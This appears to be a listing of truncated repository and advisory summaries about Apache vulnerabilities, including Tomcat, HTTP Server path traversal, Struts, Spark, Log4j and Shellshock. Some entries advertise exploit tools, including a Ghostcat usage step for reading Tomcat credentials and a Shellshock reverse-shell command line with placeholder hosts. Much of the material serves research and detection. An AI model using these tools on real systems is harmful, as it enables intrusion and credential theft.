POC-CVE-2025-24813

CVE-2025-24813 – Demonstration Environment PoC This repository contains a simple application built to observe the behavior of CVE-2025-24813, a recent vulnerability in Apache Tomcat related to the use of the DefaultServlet with writing enabled readonly=false, allowing unsafe write operations via...

CVE-2021-4773

CVE-2021-4773 this is a practice example of how exploit vulnerability CVE-2021-4773 with a virtual machine for this tutorial you need the next virtual machine as kali linux virtual machine as ubuntu server install apache version 2.4.49 so lets started when you have 2 virtual machines running you...

K000163720: Apache Tomcat vulnerabilities CVE-2026-86243, CVE-2026-86246, and CVE-2026-86247

Security Advisory Description CVE-2026-86243 Buffer over-read vulnerability in Apache Tomcat Native during the TLS handshake permits a malicious user to trigger a DoS via a JVM crash. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Earlier, unsupporte...

ghostcat

Ghostcat - CVE-2020-1938 Exploit Read Tomcat files via AJP connector port 8009 Usage: python3 ghostcat.py file """ Save the script cat ghostcat.py 'PYEOF' AQUÍ VA EL CÓDIGO COMPLETO DE ARRIBA PYEOF Set permissions and run chmod +x ghostcat.py Read tomcat-users.xml Tomcat Manager credentials pytho...

CVE-2021-41773

Apache HTTP Server 2.4.49 - Path Traversal & RCE CVE-2021-41773 A sophisticated Python-based proof-of-concept PoC exploit for CVE-2021-41773. This tool automates the process of testing Apache 2.4.49 servers for path traversal and remote code execution RCE vulnerabilities. ⚠️ Legal Disclaimer This...

CVE-2026-29145-Everything

CVE-2026-29145 Everything Apache Tomcat CLIENTCERT + OCSP soft-fail bypass complete reproduction environment, exploit traffic captures, and Suricata detection rule writing materials. For authorized security research and detection rule development only. Do not use on unauthorized systems...

CVE-2026-82617

A flaw was found in Apache OpenNLP. The built-in regular expression patterns used for identifying email and URL strings contain inefficient nested repetitions. A remote attacker can exploit this flaw by submitting crafted text to an affected application, triggering excessive CPU consumption or...

spark-history-store-path

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · spark-history-store-path spark-history-store-path Class: File write config-gated Reach: Remote Apache Spark 4.2.0 32f72996 - Apache Software Foundation HistoryServerDiskManager.appStorePath does new FileappStoreDir,...

spark-history-zip-symlink

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · spark-history-zip-symlink spark-history-zip-symlink Class: File read Reach: Remote Apache Spark 4.2.0 32f72996 - Apache Software Foundation CVE-2025-54920 locked History Server Jackson so sparkEventFromJson only...

CVE-2021-23394

elFinder CVE-2021-23394 Reproduction Setup This repository contains a reproduction setup for CVE-2021-23394 Arbitrary File Execution in elFinder using Docker. It sets up four environments to compare vulnerable and patched versions across Apache and Nginx. Overview The setup includes: 1. Apache...

spark-proxyuser-classpath

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · spark-proxyuser-classpath spark-proxyuser-classpath Class: Privilege leftover leftover of CVE-2023-22946 / SPARK-41958 Reach: Remote Apache Spark 4.2.0 32f72996 - Apache Software Foundation CVE-2023-22946 / SPARK-4195...

ApacheRCEEssay

CVE-2021-41773 Essay 🕸️ Description 🖼️ This repository contains an essay about CVE-2021-41773, a remote code execution vulnerability in Apache 2.4.49. This was created for a course from Faculty of Automatic Control and Computers, University POLITEHNICA of Bucharest, namely "Cyberdefences and...

Apache-Authentication-Flaw-Research-CVE-2024-38476-

🛡️ Apache Authentication Flaw Research CVE-2024-38476 Prepared By: Abanoub Ehab 🛡️ Huawei Telecommunications Student Club - AOU A comprehensive technical research paper on the semantic ambiguity vulnerability in Apache HTTP Server and its impact on backend response handling. 📝 Abstract...

CVE-2021-41773.git1

CVE-2021-41773 Fast python tool to test apache path traversal CVE-2021-41773 in a List of url Usage :- create a live urls file and use the flag "-l" python3 apachepathtraversal.py -l urls-list.txt...

CVE-2022-42889

CVE-2022-42889 Test application This repository contains a simple application using Apache Commons Text 1.9 which is vulnerable to CVE-2022-42889. Running the application Build and run the application via docker: docker build . -t vulnerable-app docker run vulnerable-app $ docker ps CONTAINER ID...

struts-rce-cve-2017-9805

Description Apache Struts RCE tool for CVE 2017-9805 Options u: the target url; c: the command that'll be executed on a vulnerable target; f: automatically checks for RCE using a list of targets one target per line; p: specify the port for a local listener - used with f option - default: 8080 Usa...

Exploit for Insecure Default Initialization of Resource in Apache Solr

CVE-2026-44825 — Apache Solr 기본 자격 증명 + Velocity Template RCE...

CVE-2021-44228

CVE-2021-44228 Apache Log4j is a logging tool written in Java. This paper focuses on what is Log4j and log4shell vulnerability and how it works, how it affects the victim, and how can this be mitigated. Download the PDF and enjoy !!! Cheers !!!...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock Remote Command Injection tool for quick reverse shell and file browsing Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py...

CVE-2024-22393

Exploit CVE-2024-22393 To exploit this vulnerability, upload the photo I provided in any photo upload section. lottapixel.jpg References: https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1...